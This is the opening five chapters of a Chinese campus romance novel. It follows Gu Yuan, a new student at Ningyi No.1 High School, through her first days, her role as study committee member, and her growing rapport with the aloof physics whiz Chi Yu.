《薄荷过敏》
1. 报到
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八月底。
浸透凉意的傍晚，晚风徐徐，夕阳穿透枝丫形成斑驳碎影，少年踏过之处，蝉鸣应声而起。
榕树下聚着三三两两穿着军训服的身影，顾鸢斜靠在窗边看的失神，直到有人倏地仰头望了上来，她忙别开眼看向远处。
吧嗒一声，门被推开，一个男人走了进来，“顾鸢，表填好了吗？”
顾鸢转身站好，回道：“曹老师，填好了。”
男人叫曹军平，十五班的班主任兼物理老师。
三七分短发，圆脸，额头上冒着几颗突兀的痘，黑框眼镜，格子衬衣搭牛仔裤运动鞋。
理工男标配。
曹军平看了表格，抬手示意顾鸢坐下，“顾鸢，老师还要再了解一下，你以后是要走艺考，还是参加高考？”
顾鸢微怔。
因为去北京参加钢琴比赛，所以她没有参加军训今天才来报道。
虽然那边的老师也希望她能继续学习钢琴，可这件事……
看出顾鸢眼底的纠结，曹军平打开抽屉一边找东西一边语气和蔼地说道：“没关系，还有一年时间你可以慢慢考虑。”
顾鸢轻轻点了点头。
曹军平从抽屉里翻出几张成绩单放到桌子上，“你以前的成绩我都看过了，英语和数学最好，语文也很好，只有物理……”似乎在找合适的措辞，停顿了一下他继续说道：“比起其他科目稍微差了一点。”
曹军平抬手扶了下镜框，口吻委婉，“不管参加高考还是艺考，老师都希望你能把物理学好，不管什么时候都要给自己留条后路。”
顾鸢眉毛拧在一起。
走艺考的话，她就不用学物理了，一年时间眼睛一睁一闭就过去了。
顾鸢正头脑风暴，突然被刺耳的闹铃声打断。
曹军平伸手拿起桌子上的手机当即按掉闹铃，突然想到什么，他猛地拍了一下大腿，“咱们班有一个中考物理满分的，你以后可以多跟他请教。”
顾鸢适时扬起笑脸，“谢谢曹老师，我会多请教的。”
老顾一个物理教授都拿她没办法，能学好才怪了。
曹军平突然想到什么，那个祖宗应该不会嫌烦吧？
看着顾鸢一副乖巧好学的样子，曹军平也只能把心里的疑虑先压下去。
秉持着关爱学生的教师职业素养，曹军平安慰道：“顾鸢，一次的失利不代表什么，老师相信你的能力。”
“我知道的，曹老师，我已经调整好了，您不用担心。”顾鸢膝盖上的双手攥紧，唇边笑容略显僵硬。
“那好，明……”
曹军平话没有讲完，又响起一道稍清婉些的手机铃声，他走到门外去接电话。
办公室里陷入沉寂，偶尔听到一两声窗外的蝉鸣，还有门外曹军平说话的声音。
顾鸢一直觉得自己挺幸运的，富足的家庭，温和的爸爸，严格却又爱自己的妈妈。
但谁能想到，考场上突发急性阑尾炎这种万年不见一次的事都能被她碰上，也正是因此错过了和竹马上一个高中的机会。
“行，我知道了。”
“麻烦您了。”
“人我会教训。”
大概两三分钟，曹军平进来，“正好今晚操场有迎新晚会，我带你过去看看，也好融入班里同学。”
“谢谢曹老师。”
跟着曹军平从办公室出来，走廊飘来一阵凉风。
顾鸢压下心底燥意。
校园里随处可见舒展大气的榕树，郁郁苍苍的身影下，少年疾风竞跑。
“跑慢点，赶着投胎去。”
曹军平朝几人的背影吼了一声，又絮絮叨叨地说道：“咱们一中不管是师资力量还是教学环境，在宁宜市都是数一数二的，这点你完全不用担心。”
顾鸢捏了捏指尖，轻轻点头，“我知道的。”
爱听话成绩又好的学生谁不喜欢，更何况这还是自己大学老师的女儿，曹军平也乐意多说一些，“在课堂上我们是师生，出了课堂我们就是朋友。学习上有任何问题你都可以跟我讲，要是有什么不适应的，也要及时说。”
顾鸢鼻尖皱起，深吸一口气，再缓缓呼出，“曹老师，您不用特别关注我。”
“你是我的学生……”曹军平正要继续，视线扫到什么话音陡然凌厉，“你们两个干什么呢，从哪儿钻出来的？”
顾鸢顺着他的视线看过去，不远处的墙根下站着两个人。
左边光头穿着军训服手里提着一大袋子零食往身后藏，脸上堆着讨好的笑；右边的瘦子穿着常服，一手压低了帽檐遮住眼睛，一手插在裤兜里，嘴里还叼着一根棒棒糖，一副混不吝色的模样。
“地洞啊曹哥，不然从哪儿钻出来？学校也没狗洞。”瘦子倚在墙边，不紧不慢地说着，嘴里的糖被他咬的嘎嘣响。
虽然看不清脸，但他嗓音清晰而磁性，顾鸢多打量了他一会儿，普通的黑T黑裤穿在他身上硬是上了一个档次，自带一股洒脱不羁的气质。
顾鸢觉得手心有些痒，很想把那帽子摘下来，以便看清他的脸。
“曹哥，这新同学啊？”瘦子又问，语气倒是比刚才多了几分正经。
“快给我滚回去，再让主任抓到你们就自生自灭。”曹军平暴躁地吼了一声。
“别呀曹哥，咱一起走。”光头说着就要上前扒拉曹军平。
看着曹军平神色不对，光头拉着瘦子敞开腿往操场跑。还不忘扭头再挑衅一句，“曹哥慢点来，我们先走了。”
“靠！我糖！你拽我做什么？”
“老曹带新同学来了，挽救一下你的形象。”
“你他妈有病，我有假条。”
“哦！对对对。”
……
顾鸢看了眼气的干瞪眼的曹军平，低头紧抿着唇憋笑。
—
舞台上灯火璀璨，同学们相聚在这个仲夏夜里，释放自己的活力与朝气。
曹军平带顾鸢绕了一圈走到十五班的最后面。
一个学生头的女生正好扭头看到他们，余光瞥到顾鸢的时候，眼睛登时一亮，“你是……，顾鸢？”
“言酥，你认识顾鸢？”
言酥站了起来，双手放在身前，说话的声音都轻了几分，“曹老师，我和顾鸢是一个初中的。”
“那正好，你跟顾鸢讲讲咱们班，我去找那几个逆徒。”
言酥忙不迭地点头，“好啊好啊。”
曹军平一走，言酥捋了捋头发，笑得腼腆，“你好啊，我叫言酥，语言的言，左酉右禾的酥。”
顾鸢微笑，“我叫顾鸢。”
“我知道我知道，顾女神，没想到你真的来一中了。”言酥两颊泛红，一副迷妹见到偶像的样子。
“是啊，很高兴认识你。”
少女仰着小脸，一双漆黑澄澈的鹿眼恍若泛着星光，微微勾唇时，脸颊上梨涡显出。
言酥看呆了，“我、我也是。”
顾鸢上前
2. 娇气
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津湾别墅离宁宜一中有些远，为了方便顾鸢上学，姜女士又在北岸买了套学区房。
早上搬完东西顾绍辉就回学校了，午饭还是顾鸢一个人吃的。午睡醒来后，顾鸢发现手机上有一条银行卡转账的短信，是姜女士给她转的生活费。
盯着手机看了半晌，顾鸢背上书包下楼出门。
过马路的时候，看到几个翻栏杆的小孩，没犹豫几秒顾鸢的脚也踏出去了。
忽然眼前闪过一抹明黄，顾鸢左脚转了个弯上了天桥。
耳边隐约还能听到交警训斥的声音，“天桥就在那儿，为什么要翻栏杆？”
还能怎么，省时省力呗。
顾鸢在心里为那几个小孩默哀一秒钟。
灰色的天幕罩在头顶，即使是阴天，空气中还是夹杂着些许燥热。
宁宜这座城市，夏秋多雨，春冬不见雪。
走在路上，随处可见的是穿着紧身吊带和热裤的年轻姑娘，还有追着姑娘的年轻小伙。
北门这边有条榕西巷，巷子落后老旧，但因为靠近一中，住在这里的人很多，大多是一中的学生和陪读的家长。
狭长的巷口有棵古老的榕树，顾鸢刚走过去，砰砰嗙嗙的声音从里面传来。
下意识朝里看了一眼，顾鸢顿时怔住。
大概七八个人在打架，借着榕树的遮挡，顾鸢捏紧了手机，躲在树后观战。
没几分钟，1v7黑衣少年胜。
顾鸢眼眸一亮，由衷点评。
还不错。
染着红发的混混从地上爬起来咬牙切齿地放狠话，“迟瑜，下次再让老子见到你，一定给你腿打断。”
黑衣少年还没来及说话，轰隆一声，一辆摩托车从顾鸢身边飞驰而过停在少年脚下，骑车的人正是昨天见到的那个光头。
那几人看形势不妙，赶紧骑车离开。
顾鸢往外挪了几步。
眼前闪过不同颜色的头发，红的、黄的、蓝的、白的、紫的，还有绿的。
很符合社会哥的气质。
迟瑜？
顾鸢觉得这名字有些耳熟，谁跟她提过。
“喂，偷看的，看够没有？”
顾鸢抬眸看过去，少年懒散地倚靠在摩托车上，气质痞邪嚣张，凌厉的眼神睨过来，顾鸢心头一怔，忙收回目光快步往前走。
江皓阳凑到迟瑜耳边嘀咕，“哥，你把人吓跑了。”
迟瑜推开他，漆黑深沉的眼眸低垂，语气极不耐烦，“滚！”
“不对啊，卧槽，那是新同学。完了，你的形象彻底完了。”
江皓阳说完，发现迟瑜已经走到了巷子口。
“哥你等我。”
天空昏暗，乌云翻滚。
因为看了一场戏，顾鸢迟到了。
迟到事小，最主要的事，她迷路了。
顾鸢正打算摆烂的时候，身后响起一道低沉清冽的声音，“同学？”
顾鸢扭头看过去。
这不是，刚1v7全胜那大哥。
“能……”
“挡路了。”大哥一手插在兜里，一手搭在栏杆上，漆黑的眼睛静静地看着她。
顾鸢转过身站直，因为高了几节台阶，微微低着眼眸看他。
眼前的少年身形落拓，面部轮廓分明，眉眼锐利，鼻梁高挺，下颌线流畅又硬朗，懒懒站在那儿，给人一副很不好惹的感觉。
那么大的楼梯，非要走她这儿？
顾鸢攥紧衣摆，嗓音轻软，“能麻烦问一下吗，高一十五班怎么走？”
少年目光懒散地睨着她，忽而弯眉，笑得春风和煦，薄唇轻启，说出口的话却是截然相反，“不能。”
顾鸢：“……”
脑海中突然闪过什么，顾鸢猛地想起。
迟瑜！言酥说让她离远一点那个。
那这人，也是十五班的。
顾鸢往旁边挪了挪，后背靠在栏杆上，眉眼低顺。
您请！
迟瑜凝眸，少女是常见的学生头，白T和浅蓝色牛仔裤，白皙的手指抓在书包肩带上，模样看着乖巧。
迟瑜大步错开她上楼，顾鸢犹豫几秒正欲抬脚跟上。
走到拐角的时候，那人突然朝她看过来，嗓音冷淡没什么温度，“跟上。”
“哦”，瞥了瞥嘴，顾鸢乖乖跟在他后面。
顾鸢抬眸看向眼前的少年。
他穿着一件黑T衬的肩背宽阔瘦削，黑色工装裤包裹着的长腿踩在地上，脚上的鞋子应该是球鞋，只是款式好像是以前的。
顾鸢打量的视线直白又放肆。
迟瑜紧抿着唇，后背略显僵直。
他猛地停下，扭头，压低着眉宇，垂眸看着她，目光平静又汹涌，尾音勾着上扬，带着几分挑衅的意味。
“还没看够？”
顾鸢微仰着脖子咽了咽口水，轻声道：“能走慢点吗？”
因为走的快，少女白皙的脸颊泛着粉，长睫轻颤，琥珀色的瞳眸无辜纯净。
“小短腿！”
迟瑜轻哂一声移开落在她身上的目光，转身继续走，脚下自然放慢了速度。
“腿长了不起啊。”顾鸢小声嘀咕。
男生似乎是听到了，扭头看了她一眼，冷眸带点傲岸，唇角勾起好看的弧度，语气端的散漫，“腿长就是了不起呢。”
顾鸢：“……”
长长长，能长过人家姚明吗？
穿过连廊，又走了好一会儿，前面的人才终于停下。
—
讲台上，曹军平看着名单皱眉。
“迟瑜和顾鸢怎么还没来，有没有人知道这俩人怎么回事？”
“池鱼思故渊啊，不会是谈恋爱去了吧？”
“我去，还真是哎。”
“人家都不认识，你们别乱说。”
“谁说得准呢，这也太凑巧了。”
曹军平脑门上青筋突突地跳，这帮熊孩子的脑回路怎么就不按常理走。
言酥举手，“曹老师，顾鸢身体不太舒服，马上就到了。”
下一秒，一道高挑清瘦的身影立在门口。
“报告！”
所有人齐刷刷地朝门口看。
不是吧，真的？
一起来的？
别说还挺般配。
视线太过强烈，顾鸢头皮发麻，脚步挪动往迟瑜身后侧了侧。
同学们：我靠！真的！
曹军平站在讲台上，清晰地看到前面的男生紧绷着脸神色不耐烦。后面的女生垂着脑袋，像是被骂了一样。
曹军平眼皮跳了一下。
这混球。
“进来坐。”
迟瑜脸色淡漠大步往后走，顾鸢刚要下去，曹军平叫住她。
“跟大家做一下自我介绍吧。”
顾鸢硬着头皮走上讲台，仅用三秒调整好面部表情，落落大方地说道：“大家好，我叫顾鸢。”
曹军平：“没了？”
顾鸢：“很高兴来到十五班。”
“咳”曹军平示意她下去坐，接着补充道：“顾鸢同学去北京参加钢琴比赛所以没有军训。大家以后互相帮助，多交流学习。”
“好的老师。”同学们很给面子地鼓掌欢迎。其中有一道声音尤为洪亮，正是言酥的。
江皓阳趴在桌子上小声嘀咕，“迟哥，你跟新同学去哪儿了，班里都传你俩谈恋爱去了。”
手里的笔吧嗒掉在桌面上，少年瞳孔骤缩，脸上浮现出不可置信的表情，“你说什么？”
江皓阳正要说话，迟瑜踢了他一脚。
顾鸢走到言酥旁边的空位上坐下。
言酥小声道：“桌子和凳子我都擦过了。”
顾鸢微愣，“谢谢。”
江皓阳胳膊肘撞了一下迟瑜，压低了声音问他，“你不是走的比我快，怎么到的比我迟？”
迟瑜没回他的话，一本正紧地坐着，眼睛盯着讲台。
“砰！”
曹军平把点名册重重地拍在讲桌上，怒气冲冲道：“江皓阳！来，你上来说。”
江皓阳恨不得把头埋进桌仓里。
曹军平收回视线，语气又恢复温和，“这样，现在开始竞选班委。在此之前，老师决定任命顾鸢同学为学习委员。”
正和言酥在草稿本上写字聊天的顾鸢怔住。
就她吊车尾的成绩？
教室里贴了成绩单，一看就知道每个人的入学成绩，她自己都没眼看。
曹军平解释道：“你们不要盯着人家的总分看，看单科，语文134，数学满分。如果不是理化考了一半，下午的英语缺考，顾鸢同学这会儿可是在附中的教室坐着。”
近成绩单的那个同学仔细瞅了一眼，朝其他人点了点脑袋。
嘶的抽气声响起。
还持着怀疑态度的人纷纷闭上了嘴巴。
他们这一届的数学题目超级变态，就这样还能考满分，不禁让人感叹同样生而为人为何脑子构造会如此的不一样。
难道是多了一根弦？
迟瑜转笔的动作停了下来，黑眸觑了眼女生的后脑勺。
曹军平把大家的神色变化都看在眼里，咳嗽了一声接着说道：“那就这样，接下来是班长……”
到物理课代表的时候，曹军平直接点名，“迟瑜，你来。”
迟瑜嘴巴还没张开，曹军平就说道：“迟瑜同学中考物理满分，但老师相信，满分不是你的实力，而是因为那张卷子只有那么多分。”
前排的顾鸢脑袋嗡地响了一声。
满分？迟瑜？
CY！
见迟瑜没有反对，曹军平松了口气。
怎么让调皮的孩子好
3. 胆小
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“那就不变，咱们班一共48个人，三排六人一组，正好是八组。五分钟讨论时间，选出一个组长，组长再写份你们小组的名单交给我。”
在讨论声音开始前顾鸢又加了句，“小组内位置变动由组长决定。”
说完顾鸢朝余荔轻点下巴，然后往座位上走。
一坐下，前排的两个男生就转了过来。
“哐当”有人在她旁边坐下。
顾鸢朝左一看，男生似乎有些困，一条腿踩着椅子的横杠，手支着脑袋撑在膝盖上，看着一股慵懒松散劲儿，“不是要讨论？”
顾鸢手扶着椅子往右挪了挪，说道：“那都发表一下自己的看法。”
徐百川：“我就算了，课代表很忙。”
言酥举手，“那我也算了。”
陈哲明摇头，“我不行。”
顾鸢：“我也不行。”
江皓阳正要开口，迟瑜屈指点在顾鸢的课桌上，语气中透着压力，“那就我吧。”
“我同意。”
“同意。”
“同意。”
“同意。”
顾鸢：“那你写份名单给我。”
少年淡淡地嗯了一声。
江皓阳眼见这就散会了，不满地发声，“不是你们怎么不听我的意见啊，我还没说话呢，我也要竞选。”
迟瑜拉着他坐下，“安静。”
江皓阳：“你们孤立我。”
“闭嘴。”
“我……”
“出去。”
言酥耸着肩膀笑，在本子上写道：【也就迟瑜能制住他。】
顾鸢轻抿唇瓣，拿笔在下面打了一个勾。
下课铃响了之后，组长把纸条都交了过来，顾鸢数了一下，还缺一份。
就他们组的没交，她只好朝迟瑜要。
后面的人正趴在桌子上睡觉，压在胳膊下的本子上可以看到几个人名。
在把人叫醒和把本子抽出来之间，顾鸢选了前者。
她顺手拿起桌子上的笔戳了戳男生的手臂。
趴着的人没有动作。
顾鸢眉头紧缩，放下笔伸手推了推他的胳膊。
指腹传来微凉的触感，顾鸢捻了捻指尖。
正打算开口叫人的时候，睡着的人终于有反应了。
男生眼睛都没睁开，抽出本子往顾鸢怀里一丢继续蒙头睡。
顾鸢手指黏着纸页正准备撕，微哑的声音响起，“自己撕。”
“哗啦！”
利落地撕掉那页纸，顾鸢把本子放在他桌子上，拿着名单去了办公室。
直到上课，顾鸢还没有回来。
在下课铃响的前两分钟，顾鸢才从前门进来。
班里的同学都已经收拾好了书包就等下课了。
虽然十分不忍，但顾鸢还是说道：“曹老师说晚自习照常。”
“学委你开玩笑的吧。”
“去年的不也没上。”
“就是，肯定是老曹骗人的，他经常这样。”
顾鸢张了张嘴，正欲说话，教室里的广播突然响起来。
“通知！通知！全体高一学生，晚自习照常。全体高一学生，晚自习照常。”
一片死寂。
顾鸢把手里的点名册给余荔，再回到自己的位置上坐下。
下课铃声响起，教室里安静了几秒。
有人出声，“你们不吃饭啊。”
刺啦—
不一会儿，教室里就没几个人了。
言酥问顾鸢，“我们一起去吃饭吧？”
顾鸢想起没跟保姆说做晚饭的事，就答应了下来，“好。”
宁宜一中是下午六点二十放学，四十分钟晚饭时间，七点整上晚自习。晚读四十分钟，晚一和晚一各一个小时，十点整放学，十一点关校门。
大多数班级都会允许学生在晚读的时候去校园里固定的地方背书。
临上课前两分钟，顾鸢和言酥才回教室。
刚坐下，余荔就过来了，“曹老师有说可以去外面背书吗？”
顾鸢摇头，“好像没说。”
“学委，你仔细想想，或许是说了呢？”
“要不你再帮大家问问呗，反正待在教室也很无聊啊。”
“是啊是啊，别的班都下去了。”
背书是假，去玩倒是真的。
顾鸢侧身朝他们看了一眼，在众人期待的目光中，慢悠悠地说道：“我想起来了，曹老师说不可以。”
一片哀嚎，余荔正要走，顾鸢拉住她的手腕，在她耳边小声说了一句话。
余荔蹙眉，“真的？”
顾鸢点头，“真。”
余荔：“那好吧。”
顾鸢往讲台上走，打开多媒体。
底下的同学都屏住呼吸。
顾鸢往后看了一眼，本打算叫江皓阳关门，迟瑜借着手长把后门关上，顺便把灯也关了。
前门的同学也跟着关门关灯。
顾鸢放了《捉妖记》，刚才吃饭的时候言酥说想看。
坐下后，言酥拽了拽顾鸢的胳膊小声说话，“怪不得你那会儿要去买零食。”
余荔的声音突然响起，“吃东西的，抓住一次小组内扣一分，小组长监督。”
顾鸢嘴里还叼着半截薯片。
“咳”身后响起一声轻咳。
“吧嗒”半截薯片掉到了衣服上。
那道声音压得有点低，“声音小点。”
顾鸢和言酥对视一眼，两人挨着坐近了一些，拆了包棉花糖。
这个没声。
江皓阳正打算拆薯片，迟瑜一把夺过去放进自己书包里。
江皓阳不可置信地瞪大双眼。
迟瑜落在屏幕上的眼睛都没移动，无情地说道：“你声太大了。”
江皓阳撇嘴，早知道不买薯片了。
电影近两个小时，刚放完曹军平就进来了。
“呦，看电影呢，会享受。”
顾鸢抿了抿唇。
曹军平说晚自习让她安排大家玩个小游戏什么的增进感情，她觉得麻烦，就直接放电影了。
迟瑜转笔的动作停了下来，目光落在前面那颗黑糊糊的脑袋上。
教室里的灯打开，曹军平等结束的字幕放完才关掉多媒体。
“男生去几个领校服。”
“顾鸢出来一下。”
—
江皓阳扒拉着迟瑜说道：“我怎么听老曹的意思不知道放电影的事。”
徐百川斜他一眼，“隔壁和隔壁的隔壁也在放电影，都是《捉妖记》。”
迟瑜神色嫌弃地推开江皓阳，“老曹挺喜欢她的。”
“谁？学委？”
徐百川解释，“不然以顾鸢的入学成绩怎么让她当学习委员。”
江皓阳似懂非懂，“那她要是第一次月考考不好老曹岂不是要撤了她的职位。”
迟瑜乜他一眼，“老曹撤了你都不可能撤她。”
“为啥？”
“就凭人家数学满分，你连人家零头都没有。”
徐百川笑，“江皓阳你的分也没我的零头高。”
“靠，你们学霸了不起啊。”
迟瑜勾着他的肩膀，语气散漫，“是提前给你打个预防针，别到时候小组内倒一就算了，还全班倒一，组长我丢不起这个脸。”
“哥，你变了。你刚刚还包庇学委和言酥，她们吃零食你不管，就不让我吃。”
迟瑜冷哼一声，“等你什么时候考进前三十，我也包庇你。”
“你疯了！”江皓阳瞳孔地震，感觉天都要塌了。
迟瑜爱怜地抚摸着他的脑袋，语气温柔的安慰他，“儿不行，父有责，没事儿，爸爸会教你的。”
江皓阳拉着徐百川诉苦，“他疯了，当了个小组长就疯了。”
4. 监控
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周一早顾鸢果然起迟了，用了十分钟穿衣洗漱，拿上早餐夺门而出，赶在六点二十五，顾鸢跑进教室。
刚放下书包，余荔就过来传话，“曹老师找你。”
顾鸢快速吃了一个包子喝了几口粥才往办公室走。
江皓阳震惊，“原来顾姐也迟到啊。”
言酥被英语老师叫走了，迟瑜借着手长把顾鸢桌子上的早餐塞进桌仓里。
“哥，你还说你没包庇。”
迟瑜踢了脚他的椅子，神色稀松平常，“背你的书，早读六点半才开始。”
“那你干嘛把顾姐早餐放桌仓里？”
“余荔会扣分。”
“哦。”
……
顾鸢回来的时候还有五分钟就下早读了。
言酥拿书遮住脸凑近她小声说道：“你吃了没，我都没吃。”
顾鸢这才发现桌子上早餐不见了，低头往桌仓看了一眼，发现都在里面。
顾鸢摇头，“就吃了两口。”
迟瑜：一个包子两口？
言酥眨眨眼，顾鸢心领神会，站了起来挡住余荔的视线。
把书立在桌子上，言酥低着头咬着饼子。
江皓阳也拿书遮住脸，手伸进桌仓里。
“刺啦—”
迟瑜一把拽起他。
余荔望了过来，江皓阳忙站好。
没爱了！没爱了！
顾鸢往后瞥了一眼，视线触及两人。
江皓阳：“归园田居……羁鸟恋旧林，池鱼思故渊。……池鱼、思故渊？”
言酥脖子僵硬地转头，眸色震惊，“你刚说什么？”
江皓阳把书放她眼前，“我没说，书上说的。”
迟瑜手里拿了本必修一的语文书，漆黑深沉的眼睛像一个漩涡，沉默地看着顾鸢。
顾鸢心底一颤忙别开眼，按着言酥转回去。
顾鸢无语住了，真不知道老顾给她起名的时候有没有想起这一茬。
言酥低着脑袋花两分钟吃完就和顾鸢换了位置，顾鸢把剩下的两个包子吃完，又把粥也喝完。
站到主席台前集合的时候，顾鸢突然想起一件事。
“酥酥，咱们教室没监控吧？”
言酥木讷道：“好像是，有的吧。”
两姑娘对视一眼，一副悲壮赴死的模样。
校领导洋洋洒洒讲了近一个小时才结束。
顾鸢和言酥蹲在楼下花坛旁思考人生。
“你们俩这是怎么了？”
言酥叹气，“徐百川，咱们教室有监控吗？”
徐百川看向迟瑜。
迟瑜伸手挥开挡在眼前的树梢，眉角微扬，说道：“有。”
顾鸢站起来，脸上表情平静，“没事，我去找曹老师。”
言酥抱住她的胳膊，“不行，我也去。”
这会儿人已经走的差不多了，迟瑜把记着知识点的小册子丢给江皓阳，启唇道：“一起吧，我也有责任。”
顾鸢诧异地看向他。
所以他是有意的还是故意的？
徐百川有些迷糊，“什么意思？”
江皓阳正要开口，被迟瑜捂住嘴巴。
快要走到办公室门口的时候，曹军平正好过来，“迟瑜你进来一下。”
顾鸢本来打算跟着进去，结果门被迟瑜关上，要不是她躲得快就撞上了。
早自习还有十分钟，语文老师林欢是一位优雅知性的大姐姐，要求大家用剩下的时间背会第一课，等上课了要抽查。
下课铃声响了迟瑜还没进来。直到中午放学，顾鸢都没找到机会问迟瑜。
下午顾鸢到教室的时候后排的两个桌子还空着。
因为中午一直想着监控的事没有休息好，上了半节课的时候顾鸢困的眼皮开始打架了。
太阳直直的从玻璃窗射进来，再穿透蓝色的窗帘，教室十分闷热。
顾鸢左手托着下巴，右手拿笔在本子上鬼画符。
老师说讨论的时候，言酥从书包里掏出几颗糖分给顾鸢，“吃颗糖可以提神醒脑。”
“谢谢。”
撕开包装含了一颗，大脑才慢慢清醒起来。
下课铃声一响，教室里趴倒一片。
迷迷糊糊间，顾鸢觉得后颈似乎有风吹来，真的好想就这么睡一节课。
后排的江皓阳扯着迟瑜往出拽，“迟哥你别睡，出去打球啊。”
“不去。”
“去吧”
拉扯间桌子突然撞在顾鸢的椅子上，力道不大，但她还是被惊醒了。
好气，顾鸢扭头看过去。
江皓阳忙道：“对不起顾姐，我不是故意的。”
顾鸢抿了抿唇，“没事。”
言酥挽上顾鸢的胳膊，“我们去小卖部买根雪糕吧。”
“好呀。”
两姑娘慢悠悠地往学校小超市走。
看着眼前乌泱泱的一群人。
顾鸢开口，“酥酥，你还想吃雪糕吗？”
言酥：“不是很想了。”
突然，眼前出现两支雪糕，顾鸢抬眸就看到许百川朝言酥笑得温柔，“帮你们俩买了。”
顾鸢看向眼许百川身后站着的迟瑜，余光触及他手里的袋子，所以是他买的吗？
刚咬了一口冰棍的迟瑜愣住，顺着她的视线往下看，不确定地开口，“你想吃这种？”
顾鸢还没来及得说话，迟瑜就从袋子里又取了一支朝她丢过来，“接着。”
“谢谢。”顾鸢把另一支递给他，然后把雪糕袋子贴在脸上，冰的哆嗦了一下，感觉身上的七窍都打通了。
迟瑜看着她一眼，唇角不自觉勾起。
徐百川问言酥，“你中午没休息啊？”
言酥摇头，“没，看了会儿书。”
“本来这天气就热，下午更是要困死了，多亏了酥酥给我的糖。”顾鸢这会儿才真的觉得清醒了过来。
言酥：“就是薄荷糖啦，我以前用它来提神的，不过糖吃多了不好，我怕我还没到三十牙齿就掉光了。”
顾鸢凑近她看，言酥把牙齿露了出来，“我的牙齿还好啦，一天吃一两颗就好。”
“那我也去买一袋吃。”顾鸢记得楼下那边好像有个超市。
这么一打岔，顾鸢又忘记了问监控的事。
—
晚一下了之后，顾鸢和言酥去了卫生间。
“哎你说顾鸢月考能考好吗？”
“谁知道呢，反正她那入学成绩可够漂亮的。”
“但听说她以前成绩很好的。”
“那又怎么样，能好就不能坏了吗？”
顾鸢正打算听听后续，言酥砰地打开隔间的门。
几个女生面色尴尬。
顾鸢出来在几人的注视下慢悠悠地洗了个手，然后朝着几人面带微笑不急不徐地说道：“真是好可惜哦，我再差也还是曹老师钦点的学习委员呢。不如我去找曹老师让你们轮着当？”
几个女生一哄而散。
言酥走到顾鸢身边小声说道：“你别在意她们的话，他们都是嫉妒你。”
顾鸢笑着揉了揉她的脸，“我知道呀，我才不会在意呢。”
因为这事，言酥一定要拉着顾鸢晚二下了一起去吃夜宵。
顾鸢只好跟老顾说了一声，顾绍辉说他晚点过来就行。
一中北门出去全是各种小吃和奶茶店。
有家叫南巷的奶茶店看着很有格调，顾鸢伸长脖子朝里望了望，好像看到了一迟瑜和一个女生。
言酥和顾鸢去了隔壁烧烤店。两人刚坐下，江皓阳的声音就响起来，“顾姐，好巧。”
顾鸢抬眸，迟瑜跟在江皓阳身后，手里还提着两杯奶茶，直直地朝着他们这
5. 喜欢
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高中的学习强度和初中比起来直接上了一个档次。
五天下来，顾鸢觉得自己的血槽已经空了。
宁宜一中周六是要上课的，不过区别在于单双周，单周周六全天上课，双周周六只上半天，周天晚自习都要上。
周六早上五点四十，顾鸢一脸怨气地掀开被子起床。
到教室的时候，正好六点二十。
早读刚上了一会儿，雨滴劈里啪啦落了下来。
顾鸢拿出外套穿上。
言酥搓了搓手臂，“你好聪明啊，还拿了外套。”
外套是保姆提醒她拿的，从小到大顾鸢习惯了有人照顾，但想到这里是学校，就说道：“是家里人提醒我的，等下早读了我陪你去宿舍取。”
言酥冷的哆嗦了一下，“不让进去，除非有假条，太麻烦了。”
顾鸢看她冷的话都说不利索了，铃声一响起就拉着她往外走。
“请假麻烦还是生病了吃药麻烦？”
言酥思考了几秒，“我去请假。”
顾鸢陪着言酥去了宿舍。
宁宜一中的住宿条件很好，四人间，上床下桌，带阳台和独卫，每层楼都有一间洗衣房。
顾鸢趴在窗台上往下看，入目是枝干横斜的榕树，树叶被雨水洗涮的青翠欲滴。
言酥顺便换了长裤，因为校服多买了一套，还问顾鸢要不要换上，顾鸢摇头，“不用，我不冷。”
正要出门，言酥突然拉住顾鸢，犹豫着开口，“有件事，你可能不知道。”
“什么？”
“就是咱们班同学给你和组长起了CP名。”看顾鸢还在发愣，言酥直接一口气说完，“大名‘池鱼思故渊’简称‘鱼鸢’。”
说完，言酥小心翼翼地观察着顾鸢的表情。
“噗”顾鸢没忍住笑了出来，“这种没依据的事都传啊，我们一共也没说过几句话。”
看顾鸢表情轻松，言酥也松了口气，“就是他们无聊的，还说什么你们两个是冷酷大佬和娇弱小白兔。说的跟真的一样。”
“我娇弱？”顾鸢指了指自己，“我看着很娇弱吗？”
她可是跆拳道黑带。
言酥把人推到穿衣镜前，示意她自己看。
顾鸢：……
她不会一辈子都一米六吧。
对于这事，顾鸢没怎么在意，毕竟都是子虚乌有的事，等过段时间自然就没人关注了。
到教室的时候顾鸢看到桌子上放着一瓶酸奶，顿时愣住了。
初中的时候她也收到过这些东西，可没想到到了这边还有人送。
因为阑尾炎手术后吃了中药调理的原因她头发掉的厉害，索性就剪短了。
坦白讲，刚剪完的时候自己都不想看。
江皓阳举手，“顾姐，这是隔壁班一个男生给的，说送给你的。”
顾鸢问江皓阳：“你认识他吗？”
江皓阳摇头，“不认……”
一直趴在桌子上睡觉的人抬起脑袋，慢吞吞地说了三个字，“我认识。”
江皓阳点头，“对，迟哥认识。”
许是因为刚睡醒，少年额发垂着，半遮着漆黑狭长的眼直直地看过来，嗓音有些低哑，“找人？我带你去。”
顾鸢拿着酸奶跟迟瑜去了隔壁，没一会儿，一个戴眼睛的男生从前门出来了。
男生有些腼腆，首先对顾鸢鞠了一躬，“顾女神，我喜欢你很久了，在南临的时候，你就像月亮一样高不可攀。我做梦都没想到你会来一中。缘分让我们相遇在这里，就代表我们有缘。顾女神，你放心，我会帮你的。”
男生这一番话说的情真意切，情谊真挚，把自己都感动到了。
顾鸢把酸奶塞到他怀里，努力维持面部表情，扬唇道：“谢谢，不过我不需要。”
酸奶不需要，施舍来的帮助更不需要。
少女挺直脊背回了教室落座，而男生拿着酸奶还在黯然神伤。
倚在阳台边上的人站直了身体，朝男生走过去。睨眸上下打量他一眼，哼笑一声，“你喜欢他？”
男生愣了一秒，“你在问我？”
耐着性子，迟瑜又说了一遍，“对，问你。”
男生点头，“是啊，我喜欢她。”
“哦”
迟瑜朝男生的方向微点下颚。
政教处主任林德全黑着脸，揪着男生的衣领站到一旁，其他学生瞬间一哄而散。
—
晚读的时候，顾鸢被叫走。
言酥拿笔戳了戳徐百川的后背，“你说会不会是因为今天早上隔壁班男生的事。”
徐百川：“不是没可能。”
言酥皱眉，“这也太冤枉了，那又不关她的事。被人喜欢也是一种错吗？”
啪的一声，迟瑜手里的书丢在桌子上。
言酥僵硬着扭头看向后面。咽了咽嗓子，她大着胆子开口，“组长，老曹不会为难女神吧？”
